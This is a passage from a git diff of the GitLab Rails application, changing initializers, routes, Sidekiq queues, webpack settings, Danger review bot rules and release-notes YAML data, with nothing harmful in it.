+ Gitlab::AppLogger.error(e.message) if ::Rails.env.production?
Gitlab::ErrorTracking.track_and_raise_for_dev_exception(e)
end
end
diff --git a/config/initializers/gitlab_kas_secret.rb b/config/initializers/gitlab_kas_secret.rb
new file mode 100644
index 00000000000..5e86e954684
--- /dev/null
+++ b/config/initializers/gitlab_kas_secret.rb
@@ -0,0 +1 @@
+Gitlab::Kas.ensure_secret!
diff --git a/config/initializers/remove_active_job_execute_callback.rb b/config/initializers/remove_active_job_execute_callback.rb
new file mode 100644
index 00000000000..c8efcb11202
--- /dev/null
+++ b/config/initializers/remove_active_job_execute_callback.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+return unless Rails.env.test?
+
+Rails.application.configure do
+ config.after_initialize do
+ # We don't care about ActiveJob reloading the code in test env as we run
+ # jobs inline in test env.
+ # So in test, we remove this callback, which calls app.reloader.wrap, and
+ # ultimately calls FileUpdateChecker#updated? which is slow on macOS
+ #
+ # https://github.com/rails/rails/blob/6-0-stable/activejob/lib/active_job/railtie.rb#L39-L46
+ def active_job_railtie_callback?
+ callbacks = ActiveJob::Callbacks.singleton_class.__callbacks[:execute]
+
+ callbacks &&
+ callbacks.send(:chain).size == 1 &&
+ callbacks.first.kind == :around &&
+ callbacks.first.raw_filter.is_a?(Proc) &&
+ callbacks.first.raw_filter.source_location.first.ends_with?('lib/active_job/railtie.rb')
+ end
+
+ if active_job_railtie_callback?
+ ActiveJob::Callbacks.singleton_class.reset_callbacks(:execute)
+ end
+ end
+end
diff --git a/config/initializers/sidekiq.rb b/config/initializers/sidekiq.rb
index febcedfee82..a33c28090e2 100644
--- a/config/initializers/sidekiq.rb
+++ b/config/initializers/sidekiq.rb
@@ -18,7 +18,7 @@ queues_config_hash[:namespace] = Gitlab::Redis::Queues::SIDEKIQ_NAMESPACE
enable_json_logs = Gitlab.config.sidekiq.log_format == 'json'
enable_sidekiq_memory_killer = ENV['SIDEKIQ_MEMORY_KILLER_MAX_RSS'].to_i.nonzero?
-use_sidekiq_daemon_memory_killer = ENV["SIDEKIQ_DAEMON_MEMORY_KILLER"].to_i.nonzero?
+use_sidekiq_daemon_memory_killer = ENV.fetch("SIDEKIQ_DAEMON_MEMORY_KILLER", 1).to_i.nonzero?
use_sidekiq_legacy_memory_killer = !use_sidekiq_daemon_memory_killer
Sidekiq.configure_server do |config|
@@ -70,7 +70,7 @@ Sidekiq.configure_server do |config|
cron_jobs[k]['class'] = cron_jobs[k].delete('job_class')
else
cron_jobs.delete(k)
- Rails.logger.error("Invalid cron_jobs config key: '#{k}'. Check your gitlab config file.") # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.error("Invalid cron_jobs config key: '#{k}'. Check your gitlab config file.")
end
end
Sidekiq::Cron::Job.load_from_hash! cron_jobs
diff --git a/config/initializers/trusted_proxies.rb b/config/initializers/trusted_proxies.rb
index 13896408806..93c4d2b10cc 100644
--- a/config/initializers/trusted_proxies.rb
+++ b/config/initializers/trusted_proxies.rb
@@ -15,7 +15,7 @@ end
gitlab_trusted_proxies = Array(Gitlab.config.gitlab.trusted_proxies).map do |proxy|
IPAddr.new(proxy)
-rescue IPAddr::InvalidAddressError
+ rescue IPAddr::InvalidAddressError
end.compact
Rails.application.config.action_dispatch.trusted_proxies = (
diff --git a/config/initializers/warden.rb b/config/initializers/warden.rb
index d8a4da8cdf9..84bda81a33a 100644
--- a/config/initializers/warden.rb
+++ b/config/initializers/warden.rb
@@ -19,7 +19,7 @@ Rails.application.configure do |config|
Warden::Manager.after_authentication(scope: :user) do |user, auth, opts|
ActiveSession.cleanup(user)
- Gitlab::AnonymousSession.new(auth.request.remote_ip, session_id: auth.request.session.id).cleanup_session_per_ip_entries
+ Gitlab::AnonymousSession.new(auth.request.remote_ip).cleanup_session_per_ip_count
end
Warden::Manager.after_set_user(scope: :user, only: :fetch) do |user, auth, opts|
diff --git a/config/initializers/webauthn.rb b/config/initializers/webauthn.rb
new file mode 100644
index 00000000000..8dc5dfd56ed
--- /dev/null
+++ b/config/initializers/webauthn.rb
@@ -0,0 +1,35 @@
+WebAuthn.configure do |config|
+ # This value needs to match `window.location.origin` evaluated by
+ # the User Agent during registration and authentication ceremonies.
+ config.origin = Settings.gitlab['base_url']
+
+ # Relying Party name for display purposes
+ # config.rp_name = "Example Inc."
+
+ # Optionally configure a client timeout hint, in milliseconds.
+ # This hint specifies how long the browser should wait for any
+ # interaction with the user.
+ # This hint may be overridden by the browser.
+ # https://www.w3.org/TR/webauthn/#dom-publickeycredentialcreationoptions-timeout
+ # config.credential_options_timeout = 120_000
+
+ # You can optionally specify a different Relying Party ID
+ # (https://www.w3.org/TR/webauthn/#relying-party-identifier)
+ # if it differs from the default one.
+ #
+ # In this case the default would be "auth.example.com", but you can set it to
+ # the suffix "example.com"
+ #
+ # config.rp_id = "example.com"
+
+ # Configure preferred binary-to-text encoding scheme. This should match the encoding scheme
+ # used in your client-side (user agent) code before sending the credential to the server.
+ # Supported values: `:base64url` (default), `:base64` or `false` to disable all encoding.
+ #
+ config.encoding = :base64
+
+ # Possible values: "ES256", "ES384", "ES512", "PS256", "PS384", "PS512", "RS256", "RS384", "RS512", "RS1"
+ # Default: ["ES256", "PS256", "RS256"]
+ #
+ # config.algorithms << "ES384"
+end
diff --git a/config/initializers_before_autoloader/000_inflections.rb b/config/initializers_before_autoloader/000_inflections.rb
index 938f9ca9028..a34b75d0382 100644
--- a/config/initializers_before_autoloader/000_inflections.rb
+++ b/config/initializers_before_autoloader/000_inflections.rb
@@ -28,6 +28,7 @@ ActiveSupport::Inflector.inflections do |inflect|
terraform_state_registry
vulnerabilities_feedback
vulnerability_feedback
+ snippet_repository_registry
)
inflect.acronym 'EE'
inflect.acronym 'CSP'
diff --git a/config/locales/devise.en.yml b/config/locales/devise.en.yml
index e8110e21766..e4a46be9bf3 100644
--- a/config/locales/devise.en.yml
+++ b/config/locales/devise.en.yml
@@ -25,6 +25,8 @@ en:
subject: "Unlock instructions"
password_change:
subject: "Password Changed"
+ password_change_by_admin:
+ subject: "Password changed by administrator"
omniauth_callbacks:
failure: "Could not authenticate you from %{kind} because \"%{reason}\"."
success: "Successfully authenticated from %{kind} account."
diff --git a/config/locales/doorkeeper.en.yml b/config/locales/doorkeeper.en.yml
index 8469b72c312..81e4f73e6b2 100644
--- a/config/locales/doorkeeper.en.yml
+++ b/config/locales/doorkeeper.en.yml
@@ -30,7 +30,6 @@ en:
errors:
messages:
# Common error messages
- invalid_request: 'The request is missing a required parameter, includes an unsupported parameter value, or is otherwise malformed.'
invalid_redirect_uri: 'The redirect URI included is not valid.'
unauthorized_client: 'The client is not authorized to perform this request using this method.'
access_denied: 'The resource owner or authorization server denied the request.'
@@ -54,6 +53,12 @@ en:
# Password Access token errors
invalid_resource_owner: 'The provided resource owner credentials are not valid, or resource owner cannot be found'
+ invalid_request:
+ unknown: 'The request is missing a required parameter, includes an unsupported parameter value, or is otherwise malformed.'
+ missing_param: 'Missing required parameter: %{value}.'
+ not_support_pkce: 'Invalid code_verifier parameter. Server does not support pkce.'
+ request_not_authorized: 'Request need to be authorized. Required parameter for authorizing request is missing or invalid.'
+
invalid_token:
revoked: "The access token was revoked"
expired: "The access token expired"
diff --git a/config/routes.rb b/config/routes.rb
index b1ab4ec6bab..9bd68bfeef6 100644
--- a/config/routes.rb
+++ b/config/routes.rb
@@ -32,13 +32,10 @@ Rails.application.routes.draw do
# This prefixless path is required because Jira gets confused if we set it up with a path
# More information: https://gitlab.com/gitlab-org/gitlab/issues/6752
scope path: '/login/oauth', controller: 'oauth/jira/authorizations', as: :oauth_jira do
- Gitlab.ee do
- get :authorize, action: :new
- get :callback
- post :access_token
- end
+ get :authorize, action: :new
+ get :callback
+ post :access_token
- # This helps minimize merge conflicts with CE for this scope block
match '*all', via: [:get, :post], to: proc { [404, {}, ['']] }
end
@@ -72,6 +69,10 @@ Rails.application.routes.draw do
# Begin of the /-/ scope.
# Use this scope for all new global routes.
scope path: '-' do
+ # remove in 13.5
+ get '/instance_statistics', to: redirect('admin/dev_ops_report')
+ get '/instance_statistics/dev_ops_score', to: redirect('admin/dev_ops_report')
+ get '/instance_statistics/cohorts', to: redirect('admin/cohorts')
# Autocomplete
get '/autocomplete/users' => 'autocomplete#users'
get '/autocomplete/users/:id' => 'autocomplete#user'
@@ -123,19 +124,17 @@ Rails.application.routes.draw do
get 'ide/*vueroute' => 'ide#index', format: false
draw :operations
- draw :instance_statistics
+ draw :jira_connect
Gitlab.ee do
draw :security
draw :smartcard
- draw :jira_connect
draw :username
draw :trial
draw :trial_registration
draw :country
draw :country_state
draw :subscription
- draw :analytics
scope '/push_from_secondary/:geo_node_id' do
draw :git_http
diff --git a/config/routes/admin.rb b/config/routes/admin.rb
index f3b7fb5ed45..bac8247de2e 100644
--- a/config/routes/admin.rb
+++ b/config/routes/admin.rb
@@ -89,6 +89,12 @@ namespace :admin do
resources :projects, only: [:index]
+ resources :instance_statistics, only: :index
+ resource :dev_ops_report, controller: 'dev_ops_report', only: :show
+ # remove in 13.5
+ get '/dev_ops_score', to: redirect('admin/dev_ops_report')
+ resources :cohorts, only: :index
+
scope(path: 'projects/*namespace_id',
as: :namespace,
constraints: { namespace_id: Gitlab::PathRegex.full_namespace_route_regex }) do
@@ -135,6 +141,8 @@ namespace :admin do
get :status_delete_self_monitoring_project
end
+ resources :plan_limits, only: :create
+
resources :labels
resources :runners, only: [:index, :show, :update, :destroy] do
diff --git a/config/routes/group.rb b/config/routes/group.rb
index e07ed0fab05..e5bbfdf7548 100644
--- a/config/routes/group.rb
+++ b/config/routes/group.rb
@@ -23,9 +23,7 @@ constraints(::Constraints::GroupUrlConstrainer.new) do
get 'archived', action: :show, as: :group_archived # rubocop:disable Cop/PutGroupRoutesUnderScope
end
- # These routes are legit and the cop rule will be improved in
- # https://gitlab.com/gitlab-org/gitlab/-/issues/230703
- get '/', action: :show, as: :group_canonical # rubocop:disable Cop/PutGroupRoutesUnderScope
+ get '/', action: :show, as: :group_canonical
end
scope(path: 'groups/*group_id/-',
@@ -112,11 +110,9 @@ constraints(::Constraints::GroupUrlConstrainer.new) do
as: :group,
constraints: { id: Gitlab::PathRegex.full_namespace_route_regex, format: /(html|json|atom)/ },
controller: :groups) do
- # These routes are legit and the cop rule will be improved in
- # https://gitlab.com/gitlab-org/gitlab/-/issues/230703
- get '/', action: :show # rubocop:disable Cop/PutGroupRoutesUnderScope
- patch '/', action: :update # rubocop:disable Cop/PutGroupRoutesUnderScope
- put '/', action: :update # rubocop:disable Cop/PutGroupRoutesUnderScope
- delete '/', action: :destroy # rubocop:disable Cop/PutGroupRoutesUnderScope
+ get '/', action: :show
+ patch '/', action: :update
+ put '/', action: :update
+ delete '/', action: :destroy
end
end
diff --git a/config/routes/instance_statistics.rb b/config/routes/instance_statistics.rb
deleted file mode 100644
index 967255d5b82..00000000000
--- a/config/routes/instance_statistics.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-# frozen_string_literal: true
-
-namespace :instance_statistics do
- root to: redirect('-/instance_statistics/dev_ops_score')
-
- resources :cohorts, only: :index
- resources :dev_ops_score, only: :index
-end
diff --git a/config/routes/issues.rb b/config/routes/issues.rb
index eae1cacfcf7..cc4399693ed 100644
--- a/config/routes/issues.rb
+++ b/config/routes/issues.rb
@@ -22,4 +22,6 @@ resources :issues, concerns: :awardable, constraints: { id: /\d+/ } do
post :import_csv
post :export_csv
end
+
+ resources :issue_links, only: [:index, :create, :destroy], as: 'links', path: 'links'
end
diff --git a/config/routes/jira_connect.rb b/config/routes/jira_connect.rb
new file mode 100644
index 00000000000..a3b786b60f0
--- /dev/null
+++ b/config/routes/jira_connect.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+namespace :jira_connect do
+ # This is so we can have a named route helper for the base URL
+ root to: proc { [404, {}, ['']] }, as: 'base'
+
+ get 'app_descriptor' => 'app_descriptor#show'
+
+ namespace :events do
+ post 'installed'
+ post 'uninstalled'
+ end
+
+ resources :subscriptions, only: [:index, :create, :destroy]
+end
diff --git a/config/routes/profile.rb b/config/routes/profile.rb
index 6126a3b593b..3eda53318e3 100644
--- a/config/routes/profile.rb
+++ b/config/routes/profile.rb
@@ -63,9 +63,11 @@ resource :profile, only: [:show, :update] do
post :create_u2f
post :codes
patch :skip
+ post :create_webauthn
end
end
resources :u2f_registrations, only: [:destroy]
+ resources :webauthn_registrations, only: [:destroy]
end
end
diff --git a/config/routes/project.rb b/config/routes/project.rb
index d02dc974434..24b44646d95 100644
--- a/config/routes/project.rb
+++ b/config/routes/project.rb
@@ -25,7 +25,10 @@ constraints(::Constraints::ProjectUrlConstrainer.new) do
# Use this scope for all new project routes.
scope '-' do
get 'archive/*id', constraints: { format: Gitlab::PathRegex.archive_formats_regex, id: /.+?/ }, to: 'repositories#archive', as: 'archive'
- get 'metrics(/:dashboard_path)(/:page)', constraints: { dashboard_path: /.+\.yml/, page: 'panel/new' },
+ # Since the page parameter can contain slashes (panel/new), use Rails'
+ # "Route Globbing" syntax (/*page) so that the route helpers do not encode
+ # the slash character.
+ get 'metrics(/:dashboard_path)(/*page)', constraints: { dashboard_path: /.+\.yml/, page: 'panel/new' },
to: 'metrics_dashboard#show', as: :metrics_dashboard, format: false
namespace :metrics, module: :metrics do
@@ -367,6 +370,19 @@ constraints(::Constraints::ProjectUrlConstrainer.new) do
post :mark_as_spam
end
end
+
+ resources :feature_flags, param: :iid do
+ resources :feature_flag_issues, only: [:index, :create, :destroy], as: 'issues', path: 'issues'
+ end
+ resource :feature_flags_client, only: [] do
+ post :reset_token
+ end
+ resources :feature_flags_user_lists, param: :iid, only: [:new, :edit, :show]
+
+ get '/schema/:branch/*filename',
+ to: 'web_ide_schemas#show',
+ format: false,
+ as: :schema
end
# End of the /-/ scope.
@@ -564,3 +580,37 @@ constraints(::Constraints::ProjectUrlConstrainer.new) do
# rubocop: enable Cop/PutProjectRoutesUnderScope
end
end
+
+# It's under /-/jira scope but cop is only checking /-/
+# rubocop: disable Cop/PutProjectRoutesUnderScope
+scope path: '(/-/jira)', constraints: ::Constraints::JiraEncodedUrlConstrainer.new, as: :jira do
+ scope path: '*namespace_id/:project_id',
+ namespace_id: Gitlab::Jira::Dvcs::ENCODED_ROUTE_REGEX,
+ project_id: Gitlab::Jira::Dvcs::ENCODED_ROUTE_REGEX do
+ get '/', to: redirect { |params, req|
+ ::Gitlab::Jira::Dvcs.restore_full_path(
+ namespace: params[:namespace_id],
+ project: params[:project_id]
+ )
+ }
+
+ get 'commit/:id', constraints: { id: /\h{7,40}/ }, to: redirect { |params, req|
+ project_full_path = ::Gitlab::Jira::Dvcs.restore_full_path(
+ namespace: params[:namespace_id],
+ project: params[:project_id]
+ )
+
+ "/#{project_full_path}/commit/#{params[:id]}"
+ }
+
+ get 'tree/*id', as: nil, to: redirect { |params, req|
+ project_full_path = ::Gitlab::Jira::Dvcs.restore_full_path(
+ namespace: params[:namespace_id],
+ project: params[:project_id]
+ )
+
+ "/#{project_full_path}/-/tree/#{params[:id]}"
+ }
+ end
+end
+# rubocop: enable Cop/PutProjectRoutesUnderScope
diff --git a/config/routes/user.rb b/config/routes/user.rb
index c7a5a56d9ed..63329277e33 100644
--- a/config/routes/user.rb
+++ b/config/routes/user.rb
@@ -55,7 +55,7 @@ end
constraints(::Constraints::UserUrlConstrainer.new) do
# Get all keys of user
- get ':username.keys', controller: :users, action: :ssh_keys, constraints: { username: Gitlab::PathRegex.root_namespace_route_regex }
+ get ':username.keys' => 'profiles/keys#get_keys', constraints: { username: Gitlab::PathRegex.root_namespace_route_regex }
scope(path: ':username',
as: :user,
diff --git a/config/sidekiq_queues.yml b/config/sidekiq_queues.yml
index cda830de8f6..823ec2eddb3 100644
--- a/config/sidekiq_queues.yml
+++ b/config/sidekiq_queues.yml
@@ -30,6 +30,8 @@
- 1
- - analytics_code_review_metrics
- 1
+- - analytics_instance_statistics_counter_job
+ - 1
- - authorized_keys
- 2
- - authorized_project_update
@@ -138,6 +140,10 @@
- 2
- - irker
- 1
+- - issue_placement
+ - 2
+- - issue_rebalancing
+ - 1
- - jira_connect
- 1
- - jira_importer
@@ -150,8 +156,12 @@
- 2
- - merge
- 5
+- - merge_request_cleanup_refs
+ - 1
- - merge_request_mergeability_check
- 1
+- - merge_request_reset_approvals
+ - 1
- - metrics_dashboard_prune_old_annotations
- 1
- - migrate_external_diffs
@@ -178,6 +188,10 @@
- 1
- - pages_domain_verification
- 1
+- - pages_remove
+ - 1
+- - pages_transfer
+ - 1
- - pages_update_configuration
- 1
- - personal_access_tokens
diff --git a/config/spring.rb b/config/spring.rb
index c9119b40c08..0092d0fd1b0 100644
--- a/config/spring.rb
+++ b/config/spring.rb
@@ -4,3 +4,13 @@
tmp/restart.txt
tmp/caching-dev.txt
).each { |path| Spring.watch(path) }
+
+Spring.after_fork do
+ if ENV['DEBUGGER_STORED_RUBYLIB']
+ ENV['DEBUGGER_STORED_RUBYLIB'].split(File::PATH_SEPARATOR).each do |path|
+ next unless path =~ /ruby-debug-ide/
+
+ load path + '/ruby-debug-ide/multiprocess/starter.rb'
+ end
+ end
+end
diff --git a/config/webpack.config.js b/config/webpack.config.js
index a5b5d0f987d..652ada1d832 100644
--- a/config/webpack.config.js
+++ b/config/webpack.config.js
@@ -79,6 +79,7 @@ function generateEntries() {
const manualEntries = {
default: defaultEntries,
sentry: './sentry/index.js',
+ performance_bar: './performance_bar/index.js',
chrome_84_icon_fix: './lib/chrome_84_icon_fix.js',
};
@@ -327,6 +328,8 @@ module.exports = {
chunks: false,
modules: false,
assets: true,
+ errors: !IS_PRODUCTION,
+ warnings: !IS_PRODUCTION,
});
// tell our rails helper where to find the DLL files
@@ -545,6 +548,7 @@ module.exports = {
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Headers': '*',
},
+ contentBase: false,
stats: 'errors-only',
hot: DEV_SERVER_LIVERELOAD,
inline: DEV_SERVER_LIVERELOAD,
diff --git a/danger/changelog/Dangerfile b/danger/changelog/Dangerfile
index f9e65bbf4c7..971c6a2a7b9 100644
--- a/danger/changelog/Dangerfile
+++ b/danger/changelog/Dangerfile
@@ -4,21 +4,6 @@
require 'yaml'
SEE_DOC = "See the [changelog documentation](https://docs.gitlab.com/ee/development/changelog.html)."
-CREATE_CHANGELOG_MESSAGE = <<~MSG
-If you want to create a changelog entry for GitLab FOSS, run the following:
-
-```
-bin/changelog -m %<mr_iid>s "%<mr_title>s"
-```
-
-If you want to create a changelog entry for GitLab EE, run the following instead:
-
-```
-bin/changelog --ee -m %<mr_iid>s "%<mr_title>s"
-```
-
-If this merge request [doesn't need a CHANGELOG entry](https://docs.gitlab.com/ee/development/changelog.html#what-warrants-a-changelog-entry), feel free to ignore this message.
-MSG
SUGGEST_MR_COMMENT = <<~SUGGEST_COMMENT
```suggestion
@@ -70,13 +55,8 @@ def check_changelog_path(path)
end
end
-def sanitized_mr_title
- helper.sanitize_mr_title(gitlab.mr_json["title"])
-end
-
if git.modified_files.include?("CHANGELOG.md")
- fail "**CHANGELOG.md was edited.** Please remove the additions and create a CHANGELOG entry.\n\n" +
- format(CREATE_CHANGELOG_MESSAGE, mr_iid: gitlab.mr_json["iid"], mr_title: sanitized_mr_title)
+ fail changelog.modified_text
end
changelog_found = changelog.found
@@ -84,7 +64,8 @@ changelog_found = changelog.found
if changelog_found
check_changelog_yaml(changelog_found)
check_changelog_path(changelog_found)
-elsif changelog.needed?
- message "**[CHANGELOG missing](https://docs.gitlab.com/ee/development/changelog.html)**:\n\n" +
- format(CREATE_CHANGELOG_MESSAGE, mr_iid: gitlab.mr_json["iid"], mr_title: sanitized_mr_title)
+elsif changelog.required?
+ fail changelog.required_text
+elsif changelog.optional?
+ message changelog.optional_text
end
diff --git a/danger/database/Dangerfile b/danger/database/Dangerfile
index 41ca2aa1978..2ccfdcffaea 100644
--- a/danger/database/Dangerfile
+++ b/danger/database/Dangerfile
@@ -59,11 +59,9 @@ if gitlab.mr_labels.include?('database') || db_paths_to_review.any?
markdown(DB_MESSAGE)
markdown(DB_FILES_MESSAGE + helper.markdown_list(db_paths_to_review)) if db_paths_to_review.any?
- database_labels = helper.missing_database_labels(gitlab.mr_labels)
-
- if database_labels.any?
+ unless helper.has_database_scoped_labels?(gitlab.mr_labels)
gitlab.api.update_merge_request(gitlab.mr_json['project_id'],
- gitlab.mr_json['iid'],
- labels: (gitlab.mr_labels + database_labels).join(','))
+ gitlab.mr_json['iid'],
+ add_labels: 'database::review pending')
end
end
diff --git a/danger/documentation/Dangerfile b/danger/documentation/Dangerfile
index 1dd6d484968..16d22969fbd 100644
--- a/danger/documentation/Dangerfile
+++ b/danger/documentation/Dangerfile
@@ -25,9 +25,3 @@ markdown(<<~MARKDOWN)
- [Technical Writers assignments](https://about.gitlab.com/handbook/engineering/technical-writing/#designated-technical-writers) for the appropriate technical writer for this review.
- [Documentation workflows](https://docs.gitlab.com/ee/development/documentation/workflow.html) for information on when to assign a merge request for review.
MARKDOWN
-
-unless gitlab.mr_labels.include?('documentation')
- gitlab.api.update_merge_request(gitlab.mr_json['project_id'],
- gitlab.mr_json['iid'],
- labels: (gitlab.mr_labels + ['documentation']).join(','))
-end
diff --git a/danger/pajamas/Dangerfile b/danger/pajamas/Dangerfile
new file mode 100644
index 00000000000..34dcbc21941
--- /dev/null
+++ b/danger/pajamas/Dangerfile
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+PATTERNS = %w[
+ createFlash
+ gl-deprecated-button
+ loading-button
+ pagination-button
+ gl-deprecated-dropdown
+ gl-deprecated-dropdown-divider
+ gl-deprecated-dropdown-header
+ gl-deprecated-dropdown-item
+ initDeprecatedJQueryDropdown
+].freeze
+
+def get_added_lines(files)
+ lines = []
+ files.each do |file|
+ lines += helper.changed_lines(file).select { |line| %r{^[+]}.match?(line) }
+ end
+ lines
+end
+
+changed_vue_haml_files = helper.changed_files(/.vue$|.haml$/)
+
+return if changed_vue_haml_files.empty?
+
+changed_lines_in_mr = get_added_lines(changed_vue_haml_files)
+has_deprecated_components = changed_lines_in_mr.select { |i| i[/#{PATTERNS.join("|")}/] }
+deprecated_components_in_mr = PATTERNS.select { |s| has_deprecated_components.join(" ")[s] }
+
+return if deprecated_components_in_mr.empty?
+
+warn "This merge request contains deprecated components. Please consider using Pajamas components instead."
+
+markdown(<<~MARKDOWN)
+ ## Deprecated components
+
+ The following components are deprecated:
+
+ * #{deprecated_components_in_mr.join("\n* ")}
+
+ Please consider using [Pajamas components](https://design.gitlab.com/components/status/) instead.
+MARKDOWN
diff --git a/danger/roulette/Dangerfile b/danger/roulette/Dangerfile
index 80e832da508..f49f6ad251c 100644
--- a/danger/roulette/Dangerfile
+++ b/danger/roulette/Dangerfile
@@ -56,7 +56,7 @@ def note_for_spin_role(spin, role)
return OPTIONAL_REVIEW_TEMPLATE % { role: role.capitalize, category: helper.label_for_category(spin.category) }
end
- spin.public_send(role)&.markdown_name(timezone_experiment: spin.timezone_experiment, author: roulette.team_mr_author) # rubocop:disable GitlabSecurity/PublicSend
+ spin.public_send(role)&.markdown_name(author: roulette.team_mr_author) # rubocop:disable GitlabSecurity/PublicSend
end
def markdown_row_for_spins(category, spins_array)
diff --git a/danger/specialization_labels/Dangerfile b/danger/specialization_labels/Dangerfile
new file mode 100644
index 00000000000..919f7313b49
--- /dev/null
+++ b/danger/specialization_labels/Dangerfile
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+gitlab_danger = GitlabDanger.new(helper.gitlab_helper)
+
+return unless gitlab_danger.ci?
+
+SPECIALIZATIONS = {
+ database: 'database',
+ backend: 'backend',
+ frontend: 'frontend',
+ docs: 'documentation',
+ qa: 'QA',
+ engineering_productivity: 'Engineering Productivity'
+}.freeze
+
+labels_to_add = helper.changes_by_category.each_with_object([]) do |(category, _changes), memo|
+ label = SPECIALIZATIONS[category]
+
+ memo << label if label && !gitlab.mr_labels.include?(label)
+end
+
+if labels_to_add.any?
+ gitlab.api.update_merge_request(gitlab.mr_json['project_id'],
+ gitlab.mr_json['iid'],
+ add_labels: labels_to_add.join(','))
+end
diff --git a/data/whats_new/202008180001_12_10.yml b/data/whats_new/202008180001_12_10.yml
index 33c007de8d0..9acabbb76e6 100644
--- a/data/whats_new/202008180001_12_10.yml
+++ b/data/whats_new/202008180001_12_10.yml
@@ -4,7 +4,7 @@
stage: Plan
self-managed: true
gitlab-com: true
- packages: ultimate, gold
+ packages: [Ultimate, Gold]
url: https://docs.gitlab.com/ee/user/project/requirements/index.html
image_url:
published_at: 2020-04-22
@@ -14,7 +14,7 @@
stage: Release
self-managed: true
gitlab-com: true
- packages: All
+ packages: [All]
url: https://docs.gitlab.com/ee/ci/examples/authenticating-with-hashicorp-vault/index.html
image_url: https://about.gitlab.com/images/12_10/jwt-vault-1.png
published_at: 2020-04-22
@@ -24,8 +24,8 @@
stage: Plan
self-managed: true
gitlab-com: true
- packages: ultimate, gold
- url: https://docs.gitlab.com/ee/user/project/issues/index.html#health-status-ultimate
+ packages: [Ultimate, Gold]
+ url: https://docs.gitlab.com/ee/user/project/issues/index.html#health-status
image_url: https://about.gitlab.com/images/12_10/epic-health-status.png
published_at: 2020-04-22
release: 12.10
@@ -34,7 +34,7 @@
stage: Plan
self-managed: true
gitlab-com: true
- packages: All
+ packages: [All]
url: https://docs.gitlab.com/ee/user/project/import/jira.html
image_url: https://about.gitlab.com/images/12_10/jira-importer.png
published_at: 2020-04-22
@@ -44,7 +44,7 @@
stage: Verify
self-managed: true
gitlab-com: false
- packages: core, starter, premium, ultimate
+ packages: [Core, Starter, Premium, Ultimate]
url: https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/fargate/-/blob/master/docs/README.md
image_url: https://about.gitlab.com/images/12_9/autoscaling_ci_fargate.png
published_at: 2020-04-22
diff --git a/data/whats_new/202008180002_13_0.yml b/data/whats_new/202008180002_13_0.yml
index 7b43d390940..3e76baab7f5 100644
--- a/data/whats_new/202008180002_13_0.yml
+++ b/data/whats_new/202008180002_13_0.yml
@@ -4,7 +4,7 @@
stage: Create
self-managed: true
gitlab-com: false
- packages: core, starter, premium, ultimate
+ packages: [Core, Starter, Premium, Ultimate]
url: https://docs.gitlab.com/ee/administration/gitaly/praefect.html
image_url: https://about.gitlab.com/images/13_0/praefect-architecture.png
published_at: 2020-05-22
@@ -14,7 +14,7 @@
stage: Release
self-managed: true
gitlab-com: true
- packages: All
+ packages: [All]
url: https://docs.gitlab.com/ee/topics/autodevops/index.html#aws-ecs
image_url:
published_at: 2020-05-22
@@ -24,7 +24,7 @@
stage: Plan
self-managed: true
gitlab-com: true
- packages: ultimate, gold
+ packages: [Ultimate, Gold]
url: https://docs.gitlab.com/ee/user/group/roadmap/
image_url: https://about.gitlab.com/images/13_0/Expand-Epic-Hierarchy-Roadmap_roadmap.png
published_at: 2020-05-22
@@ -34,7 +34,7 @@
stage: Create
self-managed: true
gitlab-com: true
- packages: All
+ packages: [All]
url: https://docs.gitlab.com/ee/user/snippets.html#versioned-snippets
image_url: https://about.gitlab.com/images/13_0/phikai-versioned-snippets.png
published_at: 2020-05-22
@@ -44,7 +44,7 @@
stage: Create
self-managed: true
gitlab-com: true
- packages: All
+ packages: [All]
url: https://docs.gitlab.com/ee/user/project/web_ide/#themes
image_url: https://about.gitlab.com/images/13_0/phikai-web-ide-dark-theme.png
published_at: 2020-05-22
diff --git a/data/whats_new/202008180003_13_01.yml b/data/whats_new/202008180003_13_01.yml
index 6bde6f6397d..304f6a29f75 100644
--- a/data/whats_new/202008180003_13_01.yml
+++ b/data/whats_new/202008180003_13_01.yml
@@ -4,7 +4,7 @@
stage: Monitor
self-managed: true
gitlab-com: true
- packages: All
+ packages: [All]
url: https://docs.gitlab.com/ee/user/project/operations/alert_management.html
image_url: https://about.gitlab.com/images/13_1/alert_management.png
published_at: 2020-06-22
@@ -14,7 +14,7 @@
stage: Verify
self-managed: true
gitlab-com: true
- packages: All
+ packages: [All]
url: https://docs.gitlab.com/ee/user/project/merge_requests/accessibility_testing.html#accessibility-merge-request-widget
image_url: https://about.gitlab.com/images/13_1/a11y-merge-request-widget.png
published_at: 2020-06-22
@@ -24,7 +24,7 @@
stage: Create
self-managed: true
gitlab-com: true
- packages: All
+ packages: [All]
url: https://docs.gitlab.com/ee/user/project/issues/design_management.html#resolve-design-threads
image_url: https://about.gitlab.com/images/13_1/resolve-design-comment.gif
published_at: 2020-06-22
@@ -34,7 +34,7 @@
stage: Create
self-managed: true
gitlab-com: true
- packages: All
+ packages: [All]
url: https://docs.gitlab.com/ee/user/discussions/index.html#merge-request-reviews
image_url: https://about.gitlab.com/images/13_1/batch_comments.png
published_at: 2020-06-22
diff --git a/data/whats_new/202008210001_13_02.yml b/data/whats_new/202008210001_13_02.yml
new file mode 100644
index 00000000000..64ee0b0174a
--- /dev/null
+++ b/data/whats_new/202008210001_13_02.yml
@@ -0,0 +1,41 @@
+---
+- title: Assign Issues to Iterations
+ body: Prior to this release, there was no way to associate an issue with more than one timebox in GitLab. This has been particularly problematic for teams that follow Scrum or XP. Such teams often need to associate issues with iterations/sprints, while also rolling that issue up to longer-running milestones, such as program increments. Instead of having to decide whether to use milestones for sprints or program increments and track the other in a spreadsheet, you can now assign issues to iterations, milestones, or both.
+ stage: Plan
+ self-managed: true
+ gitlab-com: true
+ packages: [Starter, Premium, Ultimate]
+ url: https://www.youtube.com/watch?v=31pNKjenlJY&feature=emb_title
+ image_url: http://i3.ytimg.com/vi/31pNKjenlJY/maxresdefault.jpg
+ published_at: 2020-07-22
+ release: 13.2
+- title: Container Host Monitoring and Blocking
